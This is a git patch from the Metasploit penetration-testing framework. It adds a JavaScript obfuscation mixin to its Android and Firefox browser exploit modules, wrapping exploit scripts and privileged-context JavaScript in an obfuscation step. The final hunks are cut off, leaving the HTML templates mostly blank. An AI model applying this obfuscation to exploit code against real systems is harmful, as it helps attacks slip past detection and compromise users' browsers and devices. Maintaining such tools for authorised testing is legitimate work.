From d9e6f2896f05e16718d61c8190a75a70eb5f9fff Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 21 Sep 2014 23:45:59 -0500 Subject: [PATCH 1/5] Add the JSObfu mixin to a lot of places. --- lib/msf/core/exploit/android.rb | 8 ++-- .../remote/firefox_privilege_escalation.rb | 9 ++++- .../browser/firefox_proto_crmfrequest.rb | 38 +++++++++++------- .../multi/browser/firefox_svg_plugin.rb | 40 ++++++++++--------- .../firefox_tostring_console_injection.rb | 6 +-- .../multi/browser/firefox_webidl_injection.rb | 7 +--- spec/lib/msf/core/exploit/android_spec.rb | 8 ++++ .../remote/browser_exploit_server_spec.rb | 3 +- .../firefox_privilege_escalation_spec.rb | 8 ++++ .../examples/msf/core/exploit/jsobfu.rb} | 5 ++- 10 files changed, 82 insertions(+), 50 deletions(-) create mode 100644 spec/lib/msf/core/exploit/android_spec.rb create mode 100644 spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb rename spec/{lib/msf/core/exploit/jsobfu_spec.rb => support/shared/examples/msf/core/exploit/jsobfu.rb} (95%) diff --git a/lib/msf/core/exploit/android.rb b/lib/msf/core/exploit/android.rb index 8f2bd4f76d..e038a151fa 100644 --- a/lib/msf/core/exploit/android.rb +++ b/lib/msf/core/exploit/android.rb @@ -1,9 +1,12 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/exploit/jsobfu' module Msf module Exploit::Android + include Msf::Exploit::JSObfu + # Since the NDK stager is used, arch detection must be performed SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ] @@ -20,7 +23,7 @@ module Exploit::Android def add_javascript_interface_exploit_js(arch) stagename = Rex::Text.rand_text_alpha(5) - script = %Q| + js_obfuscate %Q| function exec(runtime, cmdArr) { var ch = 0; var output = ''; @@ -84,9 +87,6 @@ module Exploit::Android for (i in top) { if (attemptExploit(top[i]) === true) break; } | - - # remove comments and empty lines - script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '') end diff --git a/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb b/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb index a927911220..2ce211a679 100644 --- a/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb +++ b/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb @@ -7,16 +7,23 @@ # ### +require 'msf/core/exploit/jsobfu' + module Msf module Exploit::Remote::FirefoxPrivilegeEscalation + include Msf::Exploit::JSObfu + # Sends the +js+ code to the remote session, which executes it in Firefox's - # privileged javascript context + # privileged javascript context. The code will be obfuscated if the JsObfuscate + # datastore option is set to 1 or higher. + # # @return [String] the results that were sent back. This can be achieved through # calling the "send" function, or by just returning the value in +js+ def js_exec(js, timeout=30) print_status "Running the privileged javascript..." token = "[[#{Rex::Text.rand_text_alpha(8)}]]" + js = js_obfuscate(js) session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}") session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout) end diff --git a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb index 2b24b83cc1..8d2f5c3f09 100644 --- a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb +++ b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb @@ -79,21 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote "p2.constructor.defineProperty(obj,key,{get:runme});" end - %Q| - - - #{datastore['CONTENT']} - - diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index 1adc54b483..fa85166464 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -129,24 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote :loader_path => "#{get_module_uri}.swf", :content => self.datastore['CONTENT'] || '' } - %Q| - - - - - - - - - - - - - - - - -